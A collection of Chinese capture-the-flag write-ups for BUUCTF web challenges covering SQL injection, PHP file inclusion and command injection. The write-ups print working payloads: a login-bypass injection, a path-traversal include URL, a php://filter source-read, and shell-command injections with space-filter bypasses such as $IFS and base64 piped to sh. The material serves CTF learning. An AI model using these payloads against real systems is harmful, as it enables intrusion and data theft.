[极客大挑战 2019]EasySQL
本题考查:sql注入
【判断闭合方式】:
输入1、1",网页会提示密码错误
但输入1'.会提示sql语句错误:
【构造万能密码】:
根据”闭合方式为单引号“,构造万能密码, 因此,该sql语句的闭合方式为单引号:
a' or true#
[极客大挑战 2019]Havefun
本题考查:代码审计(应该是的)
【查看页面源代码】:
右键查看页面源代码,划到最底部,会发现一段注释:
<!--
$cat=$_GET['cat']; //接收参数cat
echo $cat;
if($cat=='dog'){
echo 'Syc{cat_cat_cat_cat}'; //如果cat==dog,则可以输出flag
}
-->
【传参】:
利用hackbar用get方式传参:
[HCTF 2018]WarmUp
本题考查:PHP、代码审计
第一步:查看页面源代码
第二步:访问相关页面
第三步:代码审计
【查看页面源代码】:
发现绿色注释:source.php
【访问source.php】:
<?php
highlight_file(__FILE__);
//定义了一个emmm类
class emmm
{
public static function checkFile(&$page)
{
//白名单$whitelist
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it"; //若page未设置或不是字符串就输出提示并返回false
return false;
}
if (in_array($page, $whitelist)) {
return true; //若白名单中有page值则返回true
}
//mb_substr:返回字符串的一部分
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
//mb_strops:查找字符串在另一个字符串中首次出现的位置,并且如果 $page 本身不包含 ? 字符,那么 $page . '?' 会确保字符串的末尾有一个 ? 字符,因此 mb_strpos 总是能返回一个位置(即使它是字符串的末尾)。如果 $page 已经包含 ? 字符,那么 mb_strpos 会返回该字符首次出现的位置。
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page); //将$page进行url编码
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
//不进入else分支,可以调用include函数读取传入文件。这里要满足if中的条件为真
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
值得注意的是,无论是直接访问source.php还是利用?file=source.php查看,返回结果都是
同一段代码,且直接访问source.php下面还会显示那张图片,也就是说当前网页其实就是在
source.php页面,即我们始终是在在soure.php页面进行传参!!!
【代码审计】:
根据代码提示,存在一个hint.php页面,访问这个页面,可以得到flag的提示:
即flag在文件ffffllllaaaagggg当中,但是我们目前并不知道该文件在那个目录下(白名单中也没有这个文件
Payload:
http://57222b26-44ad-489f-874a-51b708f283c2.node5.buuoj.cn:81/source.php?file=hint.php?/../../../../ffffllllaaaagggg
这里有一篇博客解释了一下构造payload的原理:
当前的source.php一般是在html目录下,往上是www,var,然后到根目录,flag一般就放
在根目录下面,这里还有一个hint.php?/或者source.php?/,因此需要返回四层才能到根目录。
[HCTF 2018]WarmUp全网最详细解释_[hctf 2018]warmup的解-CSDN博客
[ACTF2020 新生赛]Include
本题考查:filter伪协议进行文件包含
关于文件包含伪协议可以参考下面这篇博客:
File Inclusion(文件包含漏洞)学习 / 伪协议_file协议漏洞-CSDN博客
【查看页面源代码】:
并没有什么可利用的
【查看url】:
点击tips跳转,url多了?file=flag.php,但该页面只输出了:
目前的办法就是查看flag.php文件的源代码,看flag是否在源代码中被注释掉了,此处利用伪
协议:
payload:
http://5165ec02-c72d-4737-85c5-295e639ea759.node3.buuoj.cn/?file=php://filter/read=convert.base64-encode/resource=flag.php
【base64解码】:
[ACTF2020 新生赛]Exec
本题考查:命令执行
【尝试执行ls命令】:
输入:127.0.0.1;ls
【设法找到与flag相关的文件】:
查看flag文件的内容:
!!!注意,上述截图中,输入框中的内容和回显内容不是同步的(即输入框的内容是与结果对应的语句,但结果出来后,输入框中本应该是没有内容的,主要是为了方便看加上去的)
[GXYCTF2019]Ping Ping Ping
本题考查:命令执行
【尝试一下用分号拼接ip和ls】:
?ip=127.0.0.1;ls
【尝试查看flag.php文件】:
?ip=127.0.0.1;cat flag.php 结果发现空格被过滤
【用{IFS}绕过空格被过滤】:
用{IFS}绕过空格,发现标点符号也被过滤了:
【用不含有标点符号的方法绕过空格】:
用$IFS$1绕过空格,提示flag也有被过滤掉,尝试打开index.php
【分析index.php的源代码】:
发现好多东西都被过滤了:
& / ? * < x{00}-\x{1f} ' " \ () [] {} 空格 "xxxfxxxlxxxaxxxgxxx" " " "bash"等
【根据源代码,分析出一下绕过方法】:
- 方法一:将cat flag.php直接用base64编码绕过
?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|bash
//但是bash被过滤了
?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
//|sh 就是执行前面的echo脚本
- 方法二:空格用$IFS$1绕过,flag利用内联执行绕过:
//内联:将反引号内命令的输出作为输入执行
?ip=127.0.0.1;cat$IFS$9`ls`
- 方法三:简单变量替换(利用源码):
//单个变量
?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
//多个变量
?ip=127.0.0.1;b=ag;a=fl;cat$IFS$1$a$b.php
具体参考如下:
【BUUCTF】[GXYCTF2019] Ping Ping Ping 总结笔记 Writeup-CSDN博客
[SUCTF 2019]EasySQL
本题考查:sql注入
这道题不是很明白,附上两篇博客:
BUUCTF:[SUCTF 2019]EasySQL-CSDN博客
[SUCTF 2019]EasySQL 1 Writeup(超级详细)_really easy sql-CSDN博客
[强网杯 2019]随便注
本题考查:sql注入
【判断闭合方式】:
只有输入1’会报错,那么闭合方式为单引号:
【查看是否有过滤关键字】 :
直接输入select,发现以下关键字被过滤:
被过滤的关键字:
select、update、delete、drop、insert、where
//select被过滤,联合查询,报错注入,布尔盲注,时间盲注就都不可以使用了。
//只剩下了堆叠注入(将语句堆叠在一起进行查询)
【使用堆叠注入】:
参考下面这篇文章:
BUUCTF [强网杯 2019]随便注 1(两种方法)-CSDN博客